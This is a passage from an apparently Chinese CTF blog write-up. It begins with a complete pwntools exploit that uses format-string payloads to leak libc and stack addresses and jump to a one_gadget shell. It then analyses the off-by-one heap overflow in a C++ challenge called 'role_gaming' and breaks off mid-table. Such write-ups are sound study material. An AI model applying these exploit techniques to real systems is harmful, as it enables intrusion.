<h2 id="完整Exp"><a href="#完整Exp" class="headerlink" title="完整Exp"></a>完整Exp</h2><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="keyword">from</span> __future__ <span class="keyword">import</span> print_function</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">binary = <span class="string">'./books'</span> <span class="comment">#binary's name here</span></span><br><span class="line">context.binary = binary <span class="comment">#context here</span></span><br><span class="line">context.log_level=<span class="string">'debug'</span></span><br><span class="line">pty = process.PTY</span><br><span class="line">p = process(binary, aslr = <span class="number">1</span>, stdin=pty, stdout=pty) <span class="comment">#process option here</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line"><span class="string">Host =</span></span><br><span class="line"><span class="string">Port =</span></span><br><span class="line"><span class="string">p = remote(Host,Port)</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line">elf = ELF(binary)</span><br><span class="line">libc = elf.libc</span><br><span class="line"></span><br><span class="line">my_u64 = <span class="keyword">lambda</span> x: u64(x.ljust(<span class="number">8</span>, <span class="string">'\0'</span>))</span><br><span class="line">my_u32 = <span class="keyword">lambda</span> x: u32(x.ljust(<span class="number">4</span>, <span class="string">'\0'</span>))</span><br><span class="line">ub_offset = <span class="number">0x3c4b30</span></span><br><span class="line">codebase = <span class="number">0x555555554000</span></span><br><span class="line"><span class="comment">#log.info("\033[1;36m" + hex(bin_addr) + "\033[0m")</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># todo here</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">edit</span><span class="params">(x,content)</span>:</span></span><br><span class="line"> p.recvuntil(<span class="string">'5: Submit\n'</span>)</span><br><span class="line"> p.sendline(str(x))</span><br><span class="line"> p.recvuntil(<span class="string">' order:\n'</span>)</span><br><span class="line"> p.sendline(content)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">delete</span><span class="params">(x)</span>:</span></span><br><span class="line"> p.recvuntil(<span class="string">'5: Submit\n'</span>)</span><br><span class="line"> <span class="keyword">if</span> x == <span class="number">1</span>:</span><br><span class="line"> p.sendline(<span class="string">'3'</span>)</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> p.sendline(<span class="string">'4'</span>)</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">submit</span><span class="params">(address,address2=<span class="number">0</span>)</span>:</span></span><br><span class="line"> p.recvuntil(<span class="string">'5: Submit\n'</span>)</span><br><span class="line"> p.sendline(p64(<span class="number">0x35</span>)+p64(address)+p64(address2))</span><br><span class="line"></span><br><span class="line">delete(<span class="number">2</span>)</span><br><span class="line"></span><br><span class="line">payload1=((<span class="string">'%'</span>+str(<span class="number">0xA39</span>)+<span class="string">'c%13$hn|%19$p|%31$p'</span>).ljust(<span class="number">0x74</span>,<span class="string">'a'</span>)).ljust(<span class="number">0x88</span>,<span class="string">'\x00'</span>)+<span class="string">'\x50\x01'</span></span><br><span class="line">edit(<span class="number">1</span>,payload1)</span><br><span class="line"></span><br><span class="line">submit(<span class="number">0x6011B8</span>)</span><br><span class="line"></span><br><span class="line">p.recvuntil(<span class="string">'|'</span>)</span><br><span class="line">p.recvuntil(<span class="string">'|'</span>)</span><br><span class="line">p.recvuntil(<span class="string">'|'</span>)</span><br><span class="line">p.recvuntil(<span class="string">'|'</span>)</span><br><span class="line">p.recvuntil(<span class="string">'|'</span>)</span><br><span class="line">ret_stack=int(p.recv(<span class="number">14</span>),<span class="number">16</span>)<span class="number">-0x18</span></span><br><span class="line">libc_base=int(p.recv(<span class="number">15</span>).strip(<span class="string">'|'</span>),<span class="number">16</span>)<span class="number">-0x20830</span></span><br><span class="line">log.info(<span class="string">"\033[1;36m"</span> +<span class="string">'ret_stack:'</span>+hex(ret_stack)+<span class="string">'\nlibc_base:'</span>+hex(libc_base)+ <span class="string">"\033[0m"</span>)</span><br><span class="line">one=<span class="number">0x45216</span>+libc_base</span><br><span class="line"></span><br><span class="line">change1=one&<span class="number">0xffff</span></span><br><span class="line">change2=one&<span class="number">0xff0000</span></span><br><span class="line">change2=change2>><span class="number">16</span></span><br><span class="line">log.info(<span class="string">"\033[1;36m"</span> +<span class="string">'one_gadget:'</span>+hex(one)+<span class="string">"\033[0m"</span>)</span><br><span class="line">log.info(<span class="string">"\033[1;36m"</span> +<span class="string">'change1:'</span>+hex(change1)+<span class="string">'\nchange2:'</span>+hex(change2)+ <span class="string">"\033[0m"</span>)</span><br><span class="line"></span><br><span class="line">delete(<span class="number">2</span>)</span><br><span class="line"></span><br><span class="line">payload1=((<span class="string">'%0'</span>+str(change2)+<span class="string">'d%14$hhn|%0'</span>+str(change1-change2<span class="number">-1</span>)+<span class="string">'d%13$hn|'</span>).ljust(<span class="number">0x74</span>,<span class="string">'a'</span>)).ljust(<span class="number">0x88</span>,<span class="string">'\x00'</span>)+<span class="string">'\x50\x01'</span></span><br><span class="line">edit(<span class="number">1</span>,payload1)</span><br><span class="line"></span><br><span class="line">submit(ret_stack<span class="number">-0x110</span>,ret_stack<span class="number">-0x110</span>+<span class="number">2</span>)</span><br><span class="line"></span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure>
<h1 id="role-gaming"><a href="#role-gaming" class="headerlink" title="role_gaming"></a>role_gaming</h1><h2 id="程序分析-1"><a href="#程序分析-1" class="headerlink" title="程序分析"></a>程序分析</h2><p>因为第一次在pwn里面写到c++的程序,本来c++也不太好逆,就…稍微写的有点久?(以后逆向速度要加油~)</p>
<h3 id="main"><a href="#main" class="headerlink" title="main"></a>main</h3><img src="/2020/02/17/how2heap-overlapping-chunks-bookstore-night-deamonic-heap/1581907941776.png" width="85%" height="85%">
<p>初始化:申请了一个0xA0(0xB0)大小的chunk,用来保存后面的指针</p>
<p>下面主要就是从栈上读取一个command,用来操作游戏,大小是0xFFF,会在输入结尾处改成0</p>
<h3 id="new"><a href="#new" class="headerlink" title="new"></a>new</h3><p><img src="/2020/02/17/how2heap-overlapping-chunks-bookstore-night-deamonic-heap/1581908110687.png" alt="1581908110687"></p>
<p>最多允许new 0x13个character,其中character有两种类型:barbarian,wizzard,在C++里面来说就是,barbarian和wizard类从character继承而来。<br>申请barbarian的command格式为:“new barbarian ”+personnage,wizzard的格式为“new wizzard ”+personnage</p>
<p>每次创建前都会调用<code>get_personnage</code>,这个函数会调用strncmp判断command中的personnage和所有character对应chunk中的personnage,其中判断时的n用的是存在chunk上的那个记录,如果有重复的personnage,会直接申请失败</p>
<p>对比完之后开始创建character,其对应的chunk如下:<br>character:new 0xF8(0x100)<br>personnage:calloc 0x??(由输入决定)</p>
<h4 id="barbarian:"><a href="#barbarian:" class="headerlink" title="barbarian:"></a>barbarian:</h4><img src="/2020/02/17/how2heap-overlapping-chunks-bookstore-night-deamonic-heap/1581908829020.png" width="60%" height="60%">
<h4 id="wizzard:"><a href="#wizzard:" class="headerlink" title="wizzard:"></a>wizzard:</h4><img src="/2020/02/17/how2heap-overlapping-chunks-bookstore-night-deamonic-heap/1581908985082.png" width="60%" height="60%">
<p>两者的初始化基本都差不多,除了Vtable和一些值可能存在不同</p>
<h3 id="delete"><a href="#delete" class="headerlink" title="delete"></a>delete</h3><img src="/2020/02/17/how2heap-overlapping-chunks-bookstore-night-deamonic-heap/1581910097692.png" width="60%" height="60%">
<p>通过搜索personnage判断是否存在character<br>如果存在</p>
<ul>
<li>free personnage,并将character chunk上的指针置零</li>
<li>delete character_ptr,并在对应记录上赋值为前一个character,character数量减一</li>
</ul>
<h3 id="help"><a href="#help" class="headerlink" title="help"></a>help</h3><p><img src="/2020/02/17/how2heap-overlapping-chunks-bookstore-night-deamonic-heap/1581910298728.png" alt="1581910298728"></p>
<p>打印帮助信息</p>
<h3 id="change"><a href="#change" class="headerlink" title="change"></a>change</h3><img src="/2020/02/17/how2heap-overlapping-chunks-bookstore-night-deamonic-heap/1581911404715.png" width="60%" height="60%">
<p>格式为”change “+oldpersonnage+” “+newpersonnage</p>
<p>如果旧personnage长度大于新的,就直接strncpy到对应chunk去,如果小于则需要realloc</p>
<h3 id="print-all"><a href="#print-all" class="headerlink" title="print all"></a>print all</h3><img src="/2020/02/17/how2heap-overlapping-chunks-bookstore-night-deamonic-heap/1581928137419.png" width="60%" height="60%">
<p>调用到对应类的虚函数来输出其内容</p>
<h2 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h2><p>(以后碰到复杂的题一定要先写漏洞分析)</p>
<h3 id="chunks-amp-内存操作"><a href="#chunks-amp-内存操作" class="headerlink" title="chunks&内存操作"></a>chunks&内存操作</h3><p>chunk:</p>
<ol>
<li>初始用来存储的chunk,0xA0(0xB0)大小,new出来的chunk(new是调用malloc来实现的)</li>
<li>character chunk,0xf8(0x100)大小,calloc出来的chunk</li>
<li>personnage chunk,大小由我们控制,不过不能为0因为程序会自动加上一个’B’或者’W’,calloc出来的chunk,内存上申请时挨着character chunk</li>
</ol>
<p>内存操作:</p>
<p>除了上面申请内存的地方还有释放内存时是先free(personnage),然后delete character chunk。在change里面还有一个realloc personnage</p>
<h3 id="漏洞点:"><a href="#漏洞点:" class="headerlink" title="漏洞点:"></a>漏洞点:</h3><p>初始化时,处理输入的personnage会先调用strlen计算len,然后<code>calloc(len,1)</code>,接着存len+1在对应记录上<br>接着用<code>strncpy(chunkptr + 1,ptr, len)</code>从chunk的第2个字节处开始放置字符串</p>
<p>此处存在1Byte overflow</p>
<p>在change处,由于记录的len是加过1的,当我们输入的新personnage长度和记录长度相等时,也可以修改到后面一个字节</p>
<p>前面分析的时候顺带画了一个图方便自己看:</p>
<p><img src="/2020/02/17/how2heap-overlapping-chunks-bookstore-night-deamonic-heap/1581995268256.png" alt="1581995268256"></p>
<h2 id="Exploit"><a href="#Exploit" class="headerlink" title="Exploit"></a>Exploit</h2><p>exploit就也是堆上比较常见的构造了,这里我使用的方法是先用free modified chunk来leak内容,然后用malloc modified chunk来覆盖Vtable,具体为什么见下文</p>
<p>最开始的时候我申请了3个barbarian(a,b,c),此时如果使用a的overflow可以修改到b记录chunk的size低一字节,因为申请a的时候产生的overflow在topchunk上,所以不用管,主要是利用change时的overflow</p>
<table>
<thead>
<tr>
<th>0x100</th>
<th>0x20</th>
<th>0x100</th>
<th>0x??</th>
<th>0x100</th>
<th>0x??</th>
</tr>
</thead>
<tbody><tr>
<td></td>
<td>chunk for overflow</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>a</td>
<td>a</td>
<td>b</td>
<td>b</td>
<td>c</td>
<td>c</td>
</tr>
</tbody></table>
<p>然后我看到后面的chunk刚好大小可以设置在一个字节,所以就想能不能利用一个0x70的来fastbin attack,通过free overlap修改其fd,然而我当时没有考虑到的是,我们的chunk大小申请是通过输入的personnage长度来决定的,如果想使用修改fd来fastbin attack,当我改到fd时,这个chunk的size也被破坏了,因为0字节在初始化时就被截断了,根本无法实现,但是如果通过这个方法来extend a,从而达到泄露指针内容的话还是可以的。</p>
<p>我就先随便申请了5个barbarian(因为之前一直在构造的时候都畏手畏脚的,这次干脆先稍微弄多一点,冗余也没事,能在限制下写出来就行XD</p>
<table>
<thead>
<tr>
<th>0x100</th>
<th>0x20</th>
<th>0x100</th>
<th>0x60</th>
<th>0x100</th>
<th>0x60</th>
<th>0x100</th>
<th>0x60</th>
<th>0x100</th>
<th>0x60</th>
</tr>
</thead>
<tbody><tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>a</td>
<td>a</td>
<td>b</td>
<td>b</td>
<td>c</td>
<td>c</td>
<td>d</td>
<td>d</td>
<td>e</td>
<td>e</td>
</tr>
</tbody></table>
<p>然后就是想办法在b所处的0x160这个范围内放上libc地址和heap地址,可以通过先free d,再free b来在fastbin上放上fd,不过这个leak值得注意的是,只能leak fd和同fd一样在堆上地址结尾是8的这一行数据,因为如果填充foot,后面紧跟的就是size,只能通过刚好盖满一个chunk的size,realloc时让chunk shrink 0x10个字节,刚好把fd放在前一个chunk的foot处,此时就可以leak了</p>
<p>当然free d之后,由于d的记录chunk在unsortedbin上,再free b的话就会让b的记录chunk fd指向d的记录chunk,而不是main_arena了,所以free d之后我又申请了一个f,如下:</p>
<table>
<thead>
<tr>
<th>0x100</th>
<th>0x20</th>
<th>0x100</th>
<th>0x60</th>
<th>0x100</th>
<th>0x60</th>
<th>0x100</th>
<th>0x60</th>
<th>0x100</th>
<th>0x60</th>
<th>0x20</th>
<th></th>
</tr>
</thead>
<tbody><tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>fb1</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>a</td>
<td>a</td>